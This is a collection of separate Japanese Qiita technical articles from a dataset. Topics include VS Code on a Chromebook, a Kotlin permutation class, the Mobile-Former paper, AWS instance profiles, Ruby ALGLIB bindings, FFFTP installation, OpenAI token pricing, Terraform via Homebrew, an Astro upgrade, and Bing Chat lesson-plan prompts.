OmniAICreator/Qiita-1.07M huggingface dataset:
【2023年10月作業メモ】ChromebookにVS Codeのインストールして、日本語入力環境の確認をする

# Chromebook買ったんで、VS Codeのインストール
Chromebookを買って、もろもろ設定する中で、
VS Codeに関するところだけ、メモ書きを残します。

## 手元の環境

Chromebookのバージョンによっては状況も変わるかと思うので、ひとまず今の環境を記載します。
本体
FUJITSU FMV-Chromebook 14F FCB141FB
Intel Tiger Lake Chromebook (chronicler、バージョン 117.15572.0)
![Screenshot 2023-10-22 13.17.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/06a7e9fc-3f6e-c26c-b9e7-231e24b3bf37.png)

![Screenshot 2023-10-22 13.35.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/4d8ed6b8-9ff6-95da-c1f2-72de9e626b0b.png)

```bash
$ cat /etc/issue
Debian GNU/Linux 11 \n \l

$ cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

# VS Codeのインストール
VS Codeの説明は省いて、インストールの仕方について。

手順は、
- パッケージのダウンロード
    - 手元の環境の確認
    - パッケージの一覧を見に行く & ダウンロード
    - インストール
- 日本語化

という流れです。


#### 環境の確認
```bash
dpkg --print-architecture
```
私の手元の環境では```amd64```と表示されました。

![Screenshot 2023-10-22 12.22.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/5518aff5-5274-f7f8-170f-d5fcc9f27fa0.png)

#### パッケージの一覧を見に行く
Microsoftの[Download Visual Studio Code - Mac, Linux, Windows](https://code.visualstudio.com/download)に行き、
自分の環境にあったパッケージをクリック


#### インストール
インストールの仕方は、ダウンロードしたパッケージをダブルクリックする方法と、
コマンドを実行してインストールする方法があって、
通常はダブルクリックをしてインストールします。
![Screenshot 2023-10-22 12.32.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/bbb31e35-6261-e856-da25-13b850a47cbe.png)


暇なときの私みたいに物好きな方は、下記のコマンドでインストールができます。
（私はダブルクリックでインストールしました）
```bash
sudo apt install {ダウンロードした.debファイル名をフルパスで}
``` 
インストール完了後、下記のコマンドでVS Codeが立ち上がればOK。

```bash
code
``` 
![Screenshot 2023-10-22 12.33.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/82a80c41-684a-e54f-a6ef-2a461d1c02b4.png)

![Screenshot 2023-10-22 12.34.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3248470/f80c321f-0512-0ee1-71d6-fe96eeecd5aa.png)


## linux上の日本語環境作成

手元では何もしないでも日本語入力が可能でした。
念のため、もろもろの確認。

```bash
$ apt list task-japanese
Listing... Done
task-japanese/oldstable 3.68+deb11u1 all

$ apt list fonts-ipafont
Listing... Done
fonts-ipafont/oldstable 00303-21 all

$ apt list locales-all
Listing... Done
locales-all/oldstable-security 2.31-13+deb11u7 amd64
N: There are 2 additional versions. Please use the '-a' switch to see them.
```
すべての項目で```oldstable```（旧安定版）となってますが、
今回はひとまず使えるところまでいったので、これの解決は後日。

なお、標準ではVS Codeに日本語入力ができない環境もあり、
その場合は、下記のプロセスで日本語入力を有効にします。

やることは、Crostini IME Support フラグを有効化するだけです。

1. Chromeから、chrome://flagsを開く
1. 表示されている中から crostini を検索
1. Crostini IME Support をEnableにする
1. Chrome OSを再起動！

以上で、ひとまず使えるところまで完了！
Kotlinで順列全探索（Permutation）

# はじめに
普段、KotlinでAtCoderをやっています。AtCoderではたまに順列の全探索をしたいことがあります。C++やPythonだと標準ライブラリにそのための機能があるのですが、Kotlinにはありません。なので作ってみました。
先駆者がいらっしゃるのは知っていましたが、練習がてら自分でやってみたかったのでやってみました。
既存のコードを見ながらだとほぼ写経になってしまいそうだったので、どんな感じで実装するのかだけ調べて、既存コードは参照せずに書きました。

# 順列の全探索とは？
順列の全探索というのは、要するにある配列の並べ替えのパターンを全部調べるということです。

たとえばこのような配列があったとしたら

```
[1, 2, 3]
```

並び替えのパターンとしては以下の6通りが存在します。

```
[1, 2, 3]
[1, 3, 2]
[2, 1, 3]
[2, 3, 1]
[3, 1, 2]
[3, 2, 1]
```

つまり、元の配列を与えたらその並び替えパターンを上記のように全部出してくれる機能が欲しいということです。

# アルゴリズム
どんな感じで実装できるのかなーと雰囲気を掴むためにググって、以下のサイトを見ました。

https://algo-logic.info/permutation/

直接自分で実装する例は載っていないですが、以下のことがわかります。

* 並べ替えのパターンは、配列の長さを$N$とすると$N!$通りある
* 再帰を使って実装できる

たしかに組み合わせは樹形図で表現できるので階乗通りになりますし、それをDFS（深さ優先探索）すればいかにもできそうです。

# 実装
以下のようになりました。

やっていることをざっくり書くと、添字を全列挙してそれをベースの配列（MutableList）に書き込んでしまいます。元の値が失われないように `queue` にコピーしていて、それを順次読み書きしていきます。
添字を列挙していることで任意の型に対して使えるようになっているのでジェネリクスを使いました。

一般的に多重ループは再帰に置き換えられるので、そのようにしています。配列の長さが固定ではないので多重ループだと実装が面倒そうです。

```kotlin
class Permutation<T>(private val list: MutableList<T>) {
    private val queue = ArrayDeque(list)

    fun forEach(action: (MutableList<T>) -> Unit) {
        forEach(0 ,0, action)
    }

    private fun forEach(count: Int, layer: Int, action: (MutableList<T>) -> Unit) {
        if(count == list.size) {
            action(list)
            return
        }

        for(i in count until list.size) {
            val elem = queue.removeFirst()
            list[layer] = elem
            forEach(count + 1, layer + 1, action)
            queue.add(elem)
        }
    }
}
```

使い方としては以下のような感じ。

```kotlin
val list = (1..5).toMutableList()
val permutation = Permutation(list)
permutation.forEach {
    println(it)
}
```

列挙した値を使って行う処理をラムダ式を渡す方式としています。C++の `next_permutation` とはだいぶ使い方が異なりますが、このほうが使いやすい気がしました。実装も楽ですし。

これを使って、以下の問題を解きました。

<details>
  <summary>一応ネタバレ配慮</summary>

D - Unique Username
https://atcoder.jp/contests/abc268/tasks/abc268_d

解答はこちら。
https://atcoder.jp/contests/abc268/submissions/46786634
</details>

# いまいちな点
実行結果と計算量はたぶん問題ないと思いますが、突貫工事なので全然洗練されていないです。

* コンストラクタで渡した値を書き換えてしまう
  * コピーのコストをケチった
* `count` と `layer` を分ける意味…？
* `forEach` しかない
* inline化されていないので直returnできない

あたり？
ViTとCNN並列かつ双方向に導入【Mobile-Former】


**原論文**
Mobile-Former: Bridging MobileNet and Transformer
https://openaccess.thecvf.com/content/CVPR2022/papers/Chen_Mobile-Former_Bridging_MobileNet_and_Transformer_CVPR_2022_paper.pdf


**日本語解説**
Mobile-Former: Bridging MobileNet and Transformer
https://speakerdeck.com/tereka114/mobile-former-bridging-mobilenet-and-transformer




# 関連研究

Vison Transformerの解説
https://qiita.com/wakanomi/items/55bba80338615c7cce73

スマホでも使えるCNN【Mobile Net系】
https://qiita.com/wakayama_90b/items/dc1b8969da0fd6999b1d





# 結論
SAの計算が膨大なため，SAの入力を学習可能なトークン(画像のトークンより少ない196→6)に置き換えて計算


# 概要
近年，画像認識分野では，Transformerの構造を元にしたVison Transformerが新たなスタンダードモデルとして注目されている．しかし，従来のCNN手法と比較して計算コストが多く必要である欠点がある．デバイスに応用する際に，計算量や計算速度が小さく高速で高性能である．バニラのViTでは，デバイス応用に関して有効性を示さないため，Mobile-Formerを提案し，小さい計算量で高精度を達成した．
具体的には，ViTとCNNを組み合わせることによりCNNの計算効率の良さを継承する．従来のViTとCNNの組み合わせは直列に接続した構造が多く，Mobile-Formerでは，並列かつ双方向に接続する．
また，ViT（大局的な認識）とCNN（局所的な認識）の役割を明確化するためにCNNの畳み込み処理は3x3のカーネルを使用する．



# モデル構造



Mobile-Formerの入力には，画像Xと学習可能なトークンZを入力として，Mobile-Former Blockを繰り返す処理を行う．学習可能なトークンは画像のトークン数と比較して非常に少ない（196→6）．これにより，計算量を大幅に削減する．
最後に，2層のFC層でクラス分類を行う．



![スクリーンショット 2023-10-22 12.58.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457775/5e358357-433d-995a-d012-e5e3d4f92635.png)



## Mobile-Former Block
Mobile-Former Blockとは，黄（Mobile→Former），緑（Former），青（Mobile），赤（Mobile←Former）の処理をまとめた処理である．
処理の順番として，黄，緑，青，赤の順番で動作する．

![スクリーンショット 2023-10-22 12.58.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457775/93dd2fd1-719e-7f0b-6166-50c5f7d50961.png)

## 黄（Mobile→Former）
画像トークンX,学習可能なトークンZをh個のヘッドに分割する．
Qに学習可能なトークン，KVに画像トークンを入力してSAの計算,Qのみ入力トークンに$W^Q$をかけて線形変換する（K,Vは画像トークンが入力のためサイズが大きく，線形変換の計算を削減）．
SAの計算後，ヘッドを連結する．


## 緑（Former）
入力には，Zサイズのトークンが入力され，小さい計算量でSA,FFN（チャンネル拡張率2）の計算する．
実験の結果から，FFNを外しても精度は低下しない．その理由として，FFNの本来の目的がチャンネル方向の認識であり，そのチャンネル方向の認識は，他(1x1Conv)があることで補ていると考察する．


## 青（Mobile）
MobileNetv2のような逆ボトルネック構造を採用し，3x3dw-convの前に1x1convでチャンネルを拡張する．ReLUは，その処理によって情報量の損失を起こさない様にする必要がある．その対策として，ReLUを通す際は十分なチャンネルがある時に通す(情報損失を多くのチャンネル数でチャンネルのどこかには情報の残すようにする．MobileNetv2参考)．
もう1つの対策として，ReLUをDynamic ReLU（DY-ReLU)に変更する．DY-ReLUはその傾きをθによって調整する．その値はZ’からFC層x2で獲得する動的なReLUである．



## 赤（Mobile←Former）
Qに青の出力の画像トークン，KVに緑の出力の学習可能なトークンを入力する．KVのみ線形変換を行いSAの計算をする．



## 実験
CNNと比較して同程度の計算量で精度が向上し，ViTモデルと比較しても，精度向上と大幅な計算量削減を実現した．
学習可能なトークンのトークン数は実験的に6の精度が最もよく，DY-ReLUに変更することで精度向上する．
また，物体検出においても性能向上した．


# まとめ
今回は，ViTとCNN並列かつ双方向に導入したモデル【Mobile-Former】について解説した．SAの入力に画像トークンでなく小さな学習可能トークンを入力することで計算量を削減し，ViTとCNNを組み合わせることにより，性能向上を達成した．
存在しないIAMロールがアタッチされている!?

## ロールが存在しない

IAMロールの名称がイケてなかったので変更しようとした時の話です。

まずはアタッチされているロールを確認しようと、アクションからロールを確認してみました。

するとそこにはハッシュ値のついたロールがアタッチされていました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2661124/19d75b0d-f898-2c0e-699c-7166dc85f20b.png)
<br>
<br>


IAMロールは名称の変更ができない(面倒くさいから名称変更できるようにしてほしい......)ので、アタッチされているIAMロールの名称を変更したい場合は、新たに作成する必要があります。新たに作成するために、アタッチされているポリシーを確認しようとIAMロールを検索したところ、なんと**当該IAMロールが存在していませんでした！！**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2661124/9d46ef08-07b4-14cf-b2e3-3b03af53b804.png)
<br>
<br>
さらに、EC2のコンソールから当該EC2のチェックボックスをクリックした際に画面下部に現れる[ペイン](https://e-words.jp/w/%E3%83%9A%E3%82%A4%E3%83%B3.html#:~:text=%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF%E3%81%AE%E6%93%8D%E4%BD%9C%E7%94%BB%E9%9D%A2%E3%81%A7,%E3%81%95%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%82%82%E3%81%82%E3%82%8B%E3%80%82 )のセキュリティタブに表示されるロールは上記とは別のものでした。

実は、「EC2」のIAMロールを変更する画面で表示されているのは、**IAMロールではなくインスタンスプロファイルだったのです！！**

https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html

<br>
<br>

とても分かりやすいQiita記事があったので、詳しくはこちらをご参照↓ください

https://qiita.com/sakai00kou/items/a4b96dcfa6bb3e656cd9#%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%BF%E3%83%B3%E3%82%B9%E3%83%97%E3%83%AD%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%A8%E3%81%AF

<br>
<br>
一言でいえば、インスタンスプロファイルは「EC2インスタンスとIAMロールを結びつけるための箱」です。
コンソールからEC2用のIAMロールを作成する場合はIAMロールと同名のインスタンスプロファイルが同時作成されているため、インスタンスプロファイルのことを全く意識していなくても問題ありません。

今回詰まってしまったのは、当該インスタンスがCloudFormationから作成されたものであり、IAMロールとインスタンスプロファイルで名前が違っていたからでした。


## EC2でのロールの付け替え
おまけです。

コンソールから新たなIAMロールを作成し、いざロールを付け替えようとしたらエラーが出ました。（ちゃんとIAMロールではなくインスタンスプロファイルと書かれていますね）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2661124/4ee65fb6-b22d-6662-25a6-16577bee3c1b.png)


IAMロールの付け替えはEC2が起動中でないとできないらしいです。

https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html#replace-iam-role

<br>
<br>
インスタンスプロファイルがEC2の中に存在するので、EC2が起動中でないとインスタンスプロファイルを操作できないってことなんでしょうか。そんな気がする。

そういえばAWSを一切いじっていなくて試験勉強だけをしていた時に、EC2にはそのままIAMロールをアタッチするんじゃなくてインスタンスプロファイルを媒介させる、みたいな話があったのを思い出しました。当時は意味不明で記憶していましたが、その時のおかげで今調査した際の理解度が全然違っている気がします。ありがとう過去の自分。

ちなみに、なぜこのような仕様になっているのかはよくわかりませんでした。特別な理由があるのか、合わせたほうがいいけど今更変更するのは面倒なのか、どちらなのでしょうか。
RubyからALGLIBのバインディングを作り始めたら思ったより楽だったので理由をまとめる

## はじめに

　RubyはPythonに比べると数値計算に関するライブラリが少ないです。（正確には、ライブラリは存在していても、作成日が古いものが多いです。）既存のライブラリでは、[numo-gsl](https://github.com/ruby-numo/numo-gsl)がオススメです。これは[GSL(Gnu Scientific Library)](https://www.gnu.org/software/gsl/)を[Numo::NArray](https://github.com/ruby-numo/numo-narray)と一緒に使えるようにするものです。

　GSLはCで書かれていますが、一般に数値解析ではC++のライブラリが充実しています。R言語も、多くの処理はC++で実装されています。RubyからもC++の資産を活用できないでしょうか？

　今回は統計的仮説検定ができるライブラリがRubyではほとんどない[^1]ので、ALGLIBのC++バインディングの作成してみました。

GitHub: [ruby-alglib](https://github.com/kojix2/ruby-alglib) （作りかけ）

## バインディグ作成と心の損益分岐点

　個人の感想になりますが、私の場合は、だいたいバインディングのプロトタイプを作成する時間が数時間〜１日程度でおさまると、精神的な採算がとれます。（これは人によって違うと思います）

　バインディングを作成すると、APIを観察することになり学習効果が見込めます。また成果物はRubyのGemという形ではっきりと残ります。それを加味すると、半日〜１日以内にプロトタイプを作ることができれば、「それはPythonやRを使った方がはやい」という心の意見に対して、Gem作成が許容されると思います。

　今回ALGLIBのバインディングを作ってみて、Rubyバインディングを作りやすい特徴がそろっていると感じたので、その理由をまとめます。

## ALGLIBとは

https://www.alglib.net/

> ALGLIBは、クロスプラットフォームおよびオープンソースな数値解析・データ処理ライブラリ。
> ALGLIBは1999年にから長期間にわたって地道な開発が続けられており、年に1～3回程度、アップデートされている。([Wikipedia](https://ja.wikipedia.org/wiki/ALGLIB))

## Riceとは

RubyからC++の呼び出しは、Riceを利用しました。

https://github.com/jasonroelofs/rice

## ALGLIBのバインディングを作るのが簡単な理由

ALGLIBのバインディングを作成が簡単だった点をまとめます。

### メモリ管理を考慮しなくてよい

　これ、大きいです。
　Ruby言語のバインディングを作る時に一番難しいのは、メモリーの管理です。メモリーが開放されないとメモリーリークしますし、参照しようとした時にメモリがすでに開放されていると、セグメンテーション違反が発生します。バインディングを作成していると、これらの問題は頻繁に発生し、Gemの作者を悩ませます。（正直に言うと、自分は完全には理解できていません）

　しかし、ALGLIBは「クラス」を使わずに提供されている関数がすくなくありませｎ。これらはメモリについて考える必要はありません。関数をモジュールファンクションとしてラップするだけです。

### AIはバインディングの作成が大得意！

　バインディングのコードは、ボイラープレートコード（単純なコードの繰り返し）が続くことが多いですが、AIはこういったコードの記載が非常に得意ですね。いくつかのサンプルを提供すれば、あとは関数のシグネチャーを渡すと、たちどころにバインディング用のコードを生成してくれます。

　人間はその確認と、修正を行うだけでよいので、コーディングの時間が非常に短くなります。冒頭で「半日〜１日」でプロトタイプが完成することが、Gemを作成することが許容できる損益分岐点と書きましたが、AIの登場で、この目標は達成しやすくなりました。

### 依存ライブラリが少ない

　これはALGLIBの特徴であり、他のC++の数値計算ライブラリには当てはまらないと思います。

　C++のライブラリはCMakeなどを使ってビルドすることが多い。通常、どのようにプロジェクトを構成して、どのように GitHub ActionsでCIを回せばいいか頭を悩ませることになります。しかし、ALGLIBは依存するライブラリがなかったので `extconf.rb` を書くのが簡単でした。

　そもそもバインディングは、難しいアルゴリズムを自分で実装せずに、インターフェースから呼び出すものですから、難しいはずがありません。C拡張作成の難しさの大半は、コンパイルの難しさから来ています。

### ライセンスに注意

　このように、C++で書かれた数値計算用ライブラリALGLIBにはバインディングを作成しやすい特徴が揃っていることがわかりました。しかし注意しなければならないのはライセンスです。ALGLIBのフリーエディションはGPLで配布されています。これは、ALGLIBのライブラリにリンクするGemもGPLの影響が及ぶということを意味しています。

　FAQを見るとサーバー上で動作させても問題ないということですが、商用利用では注意が必要です。冒頭で紹介したGNU Scientific LibraryのライセンスもGPLですから、一般的な傾向として、数値計算ライブラリは自由なライセンスで公開されているものが多いかもしれません。私はGPLでも全く困りませんが、中には困る人もいるかもしれませんのでご注意ください。

## まとめ

- Rubyで数値計算をしたいときはC++のバインディングの作成が有効
- 半日〜１日程度でプロトタイプを作りたい
- 数値計算用ライブラリはバインディングを作りやすい特徴が揃っている
    - ライブラリは関数を提供しているので、メモリ管理の必要性が薄い
    - AIはバインディング用のコードを生成するのが得意
    - 依存ライブラリが少ないとコンパイルが楽
    - ライセンスは要注意

この記事は以上です。

[^1]: https://github.com/SciRuby/statsample の開発は5年前でとまっている
FTP クライアントソフト FFFTP のインストール

FFFTP は Windows 向けの無料のFTPクライアントソフトウェアです。日本語UIを持ち、漢字のファイル名を正しく扱う事ができます。ここでは 18 歳の新入社員向けに FFFTP のインストール手順を説明します。

## FFFTP を使う目的
FFFTP は以下のような目的で使われます。

### ウェブサイトの管理
ウェブデザイナーやウェブ開発者は、ウェブサーバーへのファイルのアップロードやダウンロード、ファイルの管理のためにFFFTPを使う事ができます。

### リモートデバイスへのファイル転送
FTP に対応している機器へのファイル転送が必要な場合、FFFTPは非常に便利です。例えば、画像記録装置からのファイルのダウンロードができます。

### セキュアなファイル転送
FFFTPはSSL/TLSをサポートしており、セキュアなファイル転送が可能です。

## FFFTP のシステム要件
FFFTP は以下の環境で動作します。

- FFFTP（32bit版）
  - 対応環境 ： Windows Vista/7/8.1/10/11

- FFFTP（64bit版）
  - 対応環境 ： 64bit版のWindows 10以降

ここでは FFFTP（64bit版） v5.8 を例にして、Windows 11 へのインストール方法を紹介します。

## FFFTP のインストール手順
### ダウンロード
窓の杜の FFFTP の紹介ページにアクセスし、「**窓の杜からダウンロード**」をクリックします。

[https://forest.watch.impress.co.jp/library/software/ffftp/](https://forest.watch.impress.co.jp/library/software/ffftp/)

![03_officialsite.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3160433/95b1bc85-2879-105a-015f-41f1af5bd63b.png)

### ファイルの展開
ダウンロードが完了したら、ファイルを右クリックし、コンテキストメニューから「すべて展開」をクリックします。

![15_download.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3160433/c30ce6eb-51c6-5c49-8dcf-15e5fe0d5771.png)

### 展開先フォルダの指定
ファイルの展開先を指定します。ここでは例として C:\ProgramFiles\ffftp-v5.8-x64 というフォルダに展開します。

![24_install.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3160433/1b1c41d7-3bed-7737-6d29-2caada4576a2.png)

以上でインストール作業は終了です。

FFFTP を使う時は **C:\ProgramFiles\ffftp-v5.8-x64\ffftp.exe** を実行します。 

![25_install.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3160433/b8e9c505-e54f-4cf4-94cf-ce8a1541797c.png)
OpenAI API 課金額の観点で英語を使うべき理由

# 英語テキストの方が良い理由
ChatGPT系のモデルを用いる場合、インプット及びアウトプットは日本語のテキストより英語のテキストを用いてシステムを構築した方が良いです。モデル自体の学習時に英語の文章の方が多く入っているため精度が高いという理由もありますが、今回はChatGPTを実運用をする際に気になる課金額という観点で考えてみます。

英語テキストを用いた場合の課金額は日本語テキストを用いた場合の課金額の半分程度に収まります。これはトークン数の考え方による差異です。

以下では簡単な実験を通じて、実際にどの程度差分が出ているのかを見ています。

### 課金形態
OpenAI APIを使用する際に、基本的にはトークン数によって課金額が決まります。モデル毎の課金額は公式ページ([https://openai.com/pricing](https://openai.com/pricing))を参照して下さい。
例えば、チャット"GPT-3.5 Turbo"モデルの場合は以下のように記載されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/504436/e25ebe0c-9e34-624a-283f-86b80a78ff26.png)
この場合（4K context）、「入力するテキスト」と「モデルから出力されるテキスト」のそれぞれに対して、1000トークン辺り0.0015ドル、0.002ドルが課金されるということになります。

### トークン数の見積もり
トークン数ですが、公式ページ([https://platform.openai.com/tokenizer](https://platform.openai.com/tokenizer))で文章を入力することで見積もることができます。
例として以下の文章を見積もってみます。

「The OpenAI API can be applied to virtually any task that requires understanding or generating natural language and code. The OpenAI API can also be used to generate and edit images or convert speech into text. We offer a range of models with different capabilities and price points, as well as the ability to fine-tune custom models.」

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/504436/b797c36f-b059-cd88-deb7-c375e9969a10.png)

この場合トークン数は65となっています。そのため課金額としては
0.0015ドル×65/1000=0.0000975ドル
となります。

### 日本語文章との比較
上述の文章をGoogle翻訳等で日本語に直し、その場合の課金額を計算してみます。日本語に翻訳した文章としては以下のようになります。

「OpenAI API は、自然言語とコードの理解または生成を必要とする事実上あらゆるタスクに適用できます。 OpenAI API を使用して、画像を生成および編集したり、音声をテキストに変換したりすることもできます。当社は、さまざまな機能と価格帯を備えたさまざまなモデルを提供しているほか、カスタム モデルを微調整することもできます。」

こちらの文章に対して同様にトークン数を見積もります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/504436/4562a0cf-f91c-f43a-ab4a-4ab57ba0219d.png)

すると、トークン数は150となり、英語の文章を入れた場合の2倍以上となっています。課金額としては
0.0015ドル×150/1000=0.000225ドル
となります。

このような結果となった理由は、日本語の場合、1文字あたりおおよそ1トークンとしてカウントされるためです。一方で、英語では短い単語であれば1単語あたり1トークンとしてカウントされます。長い英単語の場合は1単語でも2トークンや3トークンとしてカウントされる場合もあります。公式ページ上で記載されている目安を見ると、英語の文章については100トークンあたり75単語とされています。
HomebrewでTerraformをインストールするのにbrew install terraformはやめようって話

最近terraform v1.6系の更新ができず、公式から`brew install terraform`が非推奨のアナウンスが出ていることに今更気づいた。

https://www.hashicorp.com/blog/announcing-hashicorp-homebrew-tap

要するにこれからは以下のインストールコマンドが推奨とのこと。

```bash
brew install hashicorp/tap/terraform
```

インストールされて無ければ以下も実行

```bash
brew install cask vagrant
```

更新する際も以下

```bash
brew upgrade hashicorp/tap/terraform
```
Astro v3へのアップグレードが失敗するとき

Astroの既存プロジェクトを v2.6.4 から v3.3.2 にアップグレードしようとした際、以下のようなエラーが発生しました。

```
$ npm install astro@latest
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR! 
npm ERR! While resolving: @example/basics@0.0.1
npm ERR! Found: astro@3.3.2
npm ERR! node_modules/astro
npm ERR!   dev astro@"3.3.2" from the root project
npm ERR! 
npm ERR! Could not resolve dependency:
npm ERR! peer astro@"^2.10.10" from @astrojs/vercel@3.8.2
npm ERR! node_modules/@astrojs/vercel
npm ERR!   dev @astrojs/vercel@"^3.5.0" from the root project
npm ERR! 
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR! 
npm ERR! 
npm ERR! For a full report see:
npm ERR! C:\Users\mrtor\AppData\Local\npm-cache\_logs\2023-10-22T02_54_16_922Z-eresolve-report.txt

npm ERR! A complete log of this run can be found in: C:\Users\mrtor\AppData\Local\npm-cache\_logs\2023-10-22T02_54_16_922Z-debug-0.log
```

公式の推奨コマンド `npm install astro@latest`では上記のようなエラーが出ることがあります。

npmの npm ERR! ERESOLVE unable to resolve dependency tree で調べたところ、
どうやらライブラリの依存関係で失敗するようです。

そこで、`--save --legacy-peer-deps`というpeerDependencyの依存解決をせずに半強制的にインストールするオプションをつけて実行してみます。

```
$ npm install astro@latest --save --legacy-peer-deps

added 548 packages, and audited 549 packages in 35s

194 packages are looking for funding
  run `npm fund` for details

2 low severity vulnerabilities

To address all issues (including breaking changes), run:
  npm audit fix --force

Run `npm audit` for details.
```

ひとまず完了したようです。

npm run dev して挙動を確認します。

![スクリーンショット 2023-10-22 120926.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456876/e0efb6c9-a363-3676-fa71-ff39780e1b3f.png)

問題はないようです。

ただこれでは表面上のバージョンを上げるだけで、挙動としては解決してないので
他の方法でアップグレードするか、最初から作り直すのが一番かもしれません。
Bing Chat に学習指導案、指導計画書、発問計画、総合評価問題の下書きを作ってもらう

# はじめに

本記事は Bing Chat Enterprise を使用して、学習指導案、指導計画、発問、総合評価問題を作れるかどうかを実験した結果です。

# なぜ Bing Chat Enterprise を使用するのか

対話型生成AIサービスといえば、OpenAI の ChatGPT が有名です。Microsoft も個人が利用できる Bing Chat と組織が利用できる Bing Chat Entperise の2種類のサービスを提供しています。では Bing Chat Enterprise を使うべきなのでしょうか。

Bing Chat Enterprise の [**「プライバシーと保護」についてのドキュメント**](https://learn.microsoft.com/ja-jp/bing-chat-enterprise/privacy-and-protections) を見ると **「Microsoft はプロンプトと応答を保持しないため、基になる大きな言語モデルのトレーニング セットの一部として使用することはできません。」**　と書かれています。要するに、ユーザーが入力した情報やその回答はマイクロソフトが利用しないため、情報漏洩の心配がないのです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/655e1c54-29c6-2441-115d-cf4a53d81db7.png)

# 教育機関が Bing Chat Enterprise を使用するにはどうすればよいのか

Bing Chat Enterprise は、Microsoft 365 A3 もしくは A5 の教員向け(Faculty)ライセンスを付与されたユーザーのみが利用できます。

# 前提条件
Bing Chat Enteprise を使用してこれらの資料を作成する際は、文部科学省が作成した [**小学校学習指導要領解説**](https://www.mext.go.jp/a_menu/shotou/new-cs/1387014.htm) を参照させました。

本記事では [**【社会編】小学校学習指導要領（平成29年告示）解説**](https://www.mext.go.jp/content/20230308-mxt_kyoiku02-100002607_003.pdf) を使って社会の指導案、指導契約書、発話計画を作成してみます。

# 指導案、指導計画案の下書きの作成

## プロンプト

```:プロンプト
あなたは小学校の社会科の教師です。
{指導要領解説}を参照して、社会科学の{指導案}を作成します。

{単元名}: 安全な暮らしを守る

{指導案}を作成: 以下の項目をいれること。
- {単元名}:
- {単元名}の目標を箇条書きで作成
- {児童観}を箇条書きで作成
- {教材観}を箇条書きで作成
- {指導観}を箇条書きで作成
- {単元名}の観点別評価基準は以下の3項目
    - {知識・技能}を箇条書きで作成
    - {思考・判断・表現}を箇条書きで作成
    - {主体的に学習に取り組む態度}を箇条書きで作成

{指導計画案}を作成: 以下の盲目に沿った形で、学習活動を箇条書き作成する。
-導入: 問題、課題をつかむ、見通す
-展開: 調べる、調べたことを発表し、全体で話し合う
-終末: 調べたことを元に、学習問題についてまとめる

# 参照情報
{児童観}: 児童観とは子供はどのようなものであるかについてのおとなの見方。目標から俯瞰した子どもたちの実態を表現します。
{教材観}: 教材観とはその単元（教材）で教師が教えたい学習内容と学習方法である。 その時間でしか教えることができない内容を書く。
{指導観}: 指導観とは何か 指導観とは、教えたい内容と子どもの実態のズレを埋めるために、どのような指導をするのかをいうことだ。 子どもを目標に近づけるための手立てである。

{指導要領解説}
https://www.mext.go.jp/content/20230308-mxt_kyoiku02-100002607_003.pdf
```

## 出力結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/4e984c78-929b-b570-c2ed-2f69e9da46a2.png)


# 発問計画の作成

この指導計画を元に45分の授業での発問計画を作成させます。

```:プロンプト
この指導案、指導計画案を参照し、45分の授業の発問計画を作成してください。
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/8480adb9-084c-02cc-58e5-0947604f1516.png)

教員主導の典型的な授業だとの指摘を受けたので、以下のプロンプトを追加して、発話計画を再作成してみました。

```:追加プロンプト
教師主導の授業ではなく、学習者が自ら学ぶ授業にします。
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/3ab7e1f2-05ae-4ad8-0a22-c94b085b2143.png)

自分たちで仮説を立て、検討し、試行錯誤し、解決方法を見つけていく授業計画を作成させます。インターネット検索ができる端末を使うようにします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/a5411b69-adb4-504d-b9a9-242a45b9ca56.png)




# 総合評価問題の作成

## プロンプト

```:プロンプト
- 総括的評価を行うための例題を5問作成してください。 
- 10問の構成は、記述式の問題を2問、単一選択式の問題を1問、複数選択式の問題を1問、穴埋め問題を1問とします。 
- 100点を満点として点数配分も例示してください。
```

## 出力結果

